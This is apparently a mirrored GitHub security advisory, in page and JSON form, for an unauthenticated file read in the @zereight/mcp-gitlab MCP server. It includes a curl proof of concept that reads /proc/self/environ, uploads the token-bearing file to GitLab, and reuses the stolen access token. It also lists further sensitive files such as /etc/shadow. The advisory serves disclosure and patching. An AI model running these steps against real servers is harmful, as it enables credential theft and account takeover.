GHSA-CV3R-C5H8-F4G5

Vulnerability from github – Published: 2026-09-16 13:48 – Updated: 2026-09-16 13:48
VLAI
Summary
@zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover
Details

Summary

The SSE transport mode (SSE=true) exposes all MCP tools without any authentication. The upload_markdown tool reads arbitrary files from the server's local filesystem via an unsanitized file_path parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read /proc/self/environ to steal the server's GITLAB_PERSONAL_ACCESS_TOKEN and achieve full GitLab account takeover. This is the default configuration for Docker deployments.

Details

Two issues chain together:

1. No authentication on SSE transport (src/index.ts:7350-7388)

When SSE=true (the intended mode for Docker deployments per docker-compose.yaml), the /sse and /messages endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server's configured PAT.

// src/index.ts:7354 — no auth check
app.get("/sse", async (_: Request, res: Response) => {
    const serverInstance = createServer();
    const transport = new SSEServerTransport("/messages", res);
    await serverInstance.connect(transport);
});

Remote Authorization (REMOTE_AUTHORIZATION=true) is explicitly incompatible with SSE mode (src/index.ts:1833-1839), so there is no way to add per-request auth in this transport.

2. Arbitrary file read in upload_markdown (src/index.ts:5461-5503)

The upload_markdown tool calls fs.readFileSync(filePath) where filePath comes directly from user input with no validation. The Zod schema (src/schemas.ts:2150-2153) defines file_path as z.string() with no path restrictions, allowlists, or sandboxing.

async function markdownUpload(projectId: string, filePath: string) {
    if (!fs.existsSync(filePath)) {
        throw new Error(`File not found: ${filePath}`);
    }
    const fileBuffer = fs.readFileSync(filePath);  // Arbitrary file read — no path validation
    // ... uploads to GitLab project via POST /projects/:id/uploads
}

This tool is in the users toolset, which is enabled by default.

Docker amplification: The Dockerfile has no USER directive, so the process runs as root. The docker-compose.yaml maps 3002:3002, which binds 0.0.0.0 by default, exposing the unauthenticated endpoint to the network.

PoC

Prerequisites: - A running @zereight/mcp-gitlab instance with SSE=true and GITLAB_PERSONAL_ACCESS_TOKEN set (this is the default Docker deployment config) - Network access to the server's port (default: 3002) - A GitLab project ID the PAT has write access to (use list_projects to enumerate)

Steps:

# 1. Connect to the unauthenticated SSE endpoint and capture the session ID
SESSION_ID=$(curl -s -N http://<HOST>:3002/sse | head -1 | grep -oP 'sessionId=\K[^&\s]+')

# 2. (Optional) Enumerate accessible projects to find a writable project ID
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "list_projects",
      "arguments": {"owned": true}
    }
  }'

# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)
#    and upload it to a GitLab project
curl -X POST "http://<HOST>:3002/messages?sessionId=$SESSION_ID" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "upload_markdown",
      "arguments": {
        "project_id": "<WRITABLE_PROJECT_ID>",
        "file_path": "/proc/self/environ"
      }
    }
  }'

# 4. The response contains a GitLab upload URL like:
#    {"markdown": "![environ](/uploads/abc123def456/environ)", "url": "/uploads/abc123def456/environ"}
#
# 5. Retrieve the uploaded file from GitLab:
curl "https://gitlab.example.com/<namespace>/<project>/uploads/abc123def456/environ"

# 6. The file contains NUL-separated environment variables including:
#    GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx
#
# 7. Use the stolen PAT for full GitLab API access:
curl -H "Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx" "https://gitlab.example.com/api/v4/user"

Other exfiltrable targets (running as root in Docker):

File Contents
/proc/self/environ All env vars including GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx
/proc/self/cmdline Command line args (token if passed via CLI)
/etc/shadow System password hashes
/app/build/index.js Full application source code
~/.gitlab-mcp-token.json OAuth tokens (if OAuth mode was used)

Impact

Unauthenticated full GitLab account takeover. Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@zereight/mcp-gitlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T13:48:28Z",
    "nvd_published_at": "2026-09-15T22:16:58Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server\u0027s local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server\u0027s `GITLAB_PERSONAL_ACCESS_TOKEN` and achieve full GitLab account takeover. This is the default configuration for Docker deployments.\n\n### Details\n\nTwo issues chain together:\n\n**1. No authentication on SSE transport (`src/index.ts:7350-7388`)**\n\nWhen `SSE=true` (the intended mode for Docker deployments per `docker-compose.yaml`), the `/sse` and `/messages` endpoints have zero authentication middleware. Any HTTP client that can reach the port can establish a session and invoke all ~100+ tools using the server\u0027s configured PAT.\n\n```typescript\n// src/index.ts:7354 \u2014 no auth check\napp.get(\"/sse\", async (_: Request, res: Response) =\u003e {\n    const serverInstance = createServer();\n    const transport = new SSEServerTransport(\"/messages\", res);\n    await serverInstance.connect(transport);\n});\n```\n\nRemote Authorization (`REMOTE_AUTHORIZATION=true`) is explicitly incompatible with SSE mode (`src/index.ts:1833-1839`), so there is no way to add per-request auth in this transport.\n\n**2. Arbitrary file read in `upload_markdown` (`src/index.ts:5461-5503`)**\n\nThe `upload_markdown` tool calls `fs.readFileSync(filePath)` where `filePath` comes directly from user input with no validation. The Zod schema (`src/schemas.ts:2150-2153`) defines `file_path` as `z.string()` with no path restrictions, allowlists, or sandboxing.\n\n```typescript\nasync function markdownUpload(projectId: string, filePath: string) {\n    if (!fs.existsSync(filePath)) {\n        throw new Error(`File not found: ${filePath}`);\n    }\n    const fileBuffer = fs.readFileSync(filePath);  // Arbitrary file read \u2014 no path validation\n    // ... uploads to GitLab project via POST /projects/:id/uploads\n}\n```\n\nThis tool is in the `users` toolset, which is **enabled by default**.\n\n**Docker amplification:** The `Dockerfile` has no `USER` directive, so the process runs as root. The `docker-compose.yaml` maps `3002:3002`, which binds `0.0.0.0` by default, exposing the unauthenticated endpoint to the network.\n\n### PoC\n\n**Prerequisites:**\n- A running `@zereight/mcp-gitlab` instance with `SSE=true` and `GITLAB_PERSONAL_ACCESS_TOKEN` set (this is the default Docker deployment config)\n- Network access to the server\u0027s port (default: 3002)\n- A GitLab project ID the PAT has write access to (use `list_projects` to enumerate)\n\n**Steps:**\n\n```bash\n# 1. Connect to the unauthenticated SSE endpoint and capture the session ID\nSESSION_ID=$(curl -s -N http://\u003cHOST\u003e:3002/sse | head -1 | grep -oP \u0027sessionId=\\K[^\u0026\\s]+\u0027)\n\n# 2. (Optional) Enumerate accessible projects to find a writable project ID\ncurl -X POST \"http://\u003cHOST\u003e:3002/messages?sessionId=$SESSION_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"list_projects\",\n      \"arguments\": {\"owned\": true}\n    }\n  }\u0027\n\n# 3. Read /proc/self/environ (contains GITLAB_PERSONAL_ACCESS_TOKEN in plaintext)\n#    and upload it to a GitLab project\ncurl -X POST \"http://\u003cHOST\u003e:3002/messages?sessionId=$SESSION_ID\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 2,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"upload_markdown\",\n      \"arguments\": {\n        \"project_id\": \"\u003cWRITABLE_PROJECT_ID\u003e\",\n        \"file_path\": \"/proc/self/environ\"\n      }\n    }\n  }\u0027\n\n# 4. The response contains a GitLab upload URL like:\n#    {\"markdown\": \"![environ](/uploads/abc123def456/environ)\", \"url\": \"/uploads/abc123def456/environ\"}\n#\n# 5. Retrieve the uploaded file from GitLab:\ncurl \"https://gitlab.example.com/\u003cnamespace\u003e/\u003cproject\u003e/uploads/abc123def456/environ\"\n\n# 6. The file contains NUL-separated environment variables including:\n#    GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxxxxxxxxxxxxxxxxx\n#\n# 7. Use the stolen PAT for full GitLab API access:\ncurl -H \"Private-Token: glpat-xxxxxxxxxxxxxxxxxxxx\" \"https://gitlab.example.com/api/v4/user\"\n```\n\n**Other exfiltrable targets (running as root in Docker):**\n\n| File | Contents |\n|---|---|\n| `/proc/self/environ` | All env vars including `GITLAB_PERSONAL_ACCESS_TOKEN=glpat-xxxxx` |\n| `/proc/self/cmdline` | Command line args (token if passed via CLI) |\n| `/etc/shadow` | System password hashes |\n| `/app/build/index.js` | Full application source code |\n| `~/.gitlab-mcp-token.json` | OAuth tokens (if OAuth mode was used) |\n\n### Impact\n\n**Unauthenticated full GitLab account takeover.** Any attacker with network access to the MCP server port can steal the Personal Access Token and gain complete access to the GitLab instance as the token owner - including all repositories, CI/CD secrets and variables, deploy keys, project settings, and admin functions if the user has admin privileges. No credentials or user interaction are required. This is the default configuration for Docker deployments",
  "id": "GHSA-cv3r-c5h8-f4g5",
  "modified": "2026-09-16T13:48:28Z",
  "published": "2026-09-16T13:48:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-cv3r-c5h8-f4g5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/482"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/554"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/622"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/commit/e436ee4ad067b64584ec9312c9e9c9a2641c1976"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zereight/gitlab-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@zereight/mcp-gitlab: Unauthenticated arbitrary file read via `upload_markdown` enables PAT exfiltration and full account takeover"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…